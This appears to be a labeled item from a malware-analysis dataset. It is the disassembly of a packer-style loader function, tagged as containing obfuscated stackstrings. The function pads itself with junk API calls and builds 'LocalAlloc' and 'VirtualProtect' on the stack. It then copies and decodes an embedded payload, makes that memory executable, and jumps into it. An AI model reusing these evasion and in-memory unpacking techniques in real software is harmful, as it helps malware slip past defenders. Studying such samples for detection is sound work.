Function at 0x405530
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
mov eax, dword [0x420988]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0x421d60
mov dword [ebp - 0x928], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x8aacc
jne 0x4056db
mov eax, 0x421d60
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405570
sub eax, edx
cmp eax, 0x90173
jne 0x4056db
fld qword [0x41a540]
sub esp, 8
fstp qword [esp]
call fcn.004075c0
add esp, 8
fstp st(0)
lea ecx, [ebp - 0x84c]
mov dword [ebp - 0x8ac], 0x41a52c
mov dword [ebp - 0x89c], 0x41a524
mov dword [ebp - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x8a4], esi
mov dword [ebp - 0x8a0], esi
call fcn.00401680
lea eax, [ebp - 0x894]
push 0x20
lea ecx, [ebp - 0x84c]
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x810], esi
call fcn.00403100
mov byte [ebp - 0x80c], al
cmp dword [ebp - 0x814], esi
jne 0x405612
mov eax, dword [ebp - 0x840]
or eax, 4
push esi
push eax
lea ecx, [ebp - 0x84c]
call fcn.00401530
mov ecx, dword [ebp - 0x89c]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x8ac]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - method.std::basic_iostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebp - 0x8ac]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x894]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
call fcn.00402020
push str.yidediyejuyiwadutoxazepayuwenesihuhosicefulecuzi
lea ecx, [ebp - 0x89c]
push ecx
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x858], esi
mov dword [ebp - 0x854], esi
call fcn.00403810
push 0x199abbfc
lea ecx, [ebp - 0x89c]
call fcn.00403c20
fld qword [0x41a538]
sub esp, 8
lea ecx, [ebp - 0x89c]
fstp qword [esp]
call fcn.00403e10
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push esi
push esi
call fcn.004075a3
add esp, 8
lea ecx, [ebp - 0x84c]
call fcn.00402650
lea edx, [ebp - 0x84c]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004060bb
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
lea eax, [ebp - 0x920]
push eax
push 0
push 0
call edi
lea ecx, [ebp - 0x938]
push ecx
call ebx
cmp esi, 0x23a6
jge 0x405746
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea edx, [ebp - 0x940]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call sub.USER32.dll_DdeClientTransaction
push 0
lea eax, [ebp - 0x930]
push eax
lea ecx, [ebp - 0x93c]
push ecx
lea edx, [ebp - 0x92c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
cmp esi, 0x21b54
jle 0x405768
movzx eax, word [ebp - 0x90e]
cmp eax, 0x62edb11b
je 0x405768
cmp dword [ebp - 0x938], 0x3aac62a8
jne 0x405775
inc esi
cmp esi, 0x20759a04
jl 0x4056e7
mov ecx, dword [0x420410]
add ecx, 0x3343d
push 0x41a204
mov dword [0x533708], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [ebp - 0x804]
push edx
push eax
mov dword [0x5304b4], eax
mov dword [ebp - 0x802], 0x416c6163
mov byte [ebp - 0x7fe], 0x6c
mov word [ebp - 0x804], 0x6f4c
mov dword [ebp - 0x7fd], 0x636f6c
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x533708]
push ecx
push 0
mov dword [0x4399dc], eax
call eax
mov edi, dword [sym.imp.USER32.dll_GetPropW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov dword [0x4399d8], eax
xor esi, esi
lea esp, [esp]
cmp esi, 0x340471
jne 0x405806
mov edx, dword [0x420404]
mov dword [0x53370c], edx
jmp 0x405823
cmp esi, 0x177
jge 0x405823
push str.Sujinefegeci_panolu_yifozobe_rife
push 0
call edi
push str.Pejacudage_muvafalo_mi
push str.Niyokulu_yesepuhezimo
call ebx
inc esi
cmp esi, 0x543ec6
jl 0x4057f0
xor esi, esi
cmp dword [0x533708], esi
jbe 0x405876
mov edi, dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
cmp esi, 0x9b3
jge 0x405858
lea eax, [ebp - 0x980]
push eax
push str.Buhafucayepeca_xubofosero_gati
push 0
push 0
push 0
call edi
mov ecx, dword [0x53370c]
mov dl, byte [esi + ecx + 0x3343d]
mov eax, dword [0x4399d8]
mov byte [esi + eax], dl
inc esi
cmp esi, dword [0x533708]
jb 0x40583c
mov dword [ebp - 0x924], 0xbb
sub dword [ebp - 0x924], 0x7b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov cl, 0x74
mov byte [ebp - 0x401], cl
lea ecx, [ebp - 0x404]
push ecx
push eax
mov dword [0x5304b4], eax
mov word [ebp - 0x3f8], 0x7463
mov word [ebp - 0x403], 0x7269
mov byte [ebp - 0x404], 0x56
mov dword [ebp - 0x400], 0x506c6175
mov dword [ebp - 0x3fc], 0x65746f72
mov byte [ebp - 0x3f6], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x924]
lea edx, [ebp - 0x928]
push edx
mov edx, dword [0x533708]
push ecx
mov ecx, dword [0x4399d8]
push edx
push ecx
mov dword [0x4399d4], eax
call eax
mov edx, dword [0x533708]
mov eax, dword [0x4399d8]
push section..data
push edx
push eax
call fcn.004011b0
nop
add dword [0x533708], 0x106ebc58
call dword [0x4399d8]
mov ecx, dword [0x533950]
mov edx, dword fs:[0x2c]
mov eax, dword [edx + ecx*4]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax + 4], 1
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00406e86
mov esp, ebp
pop ebp
ret 0x10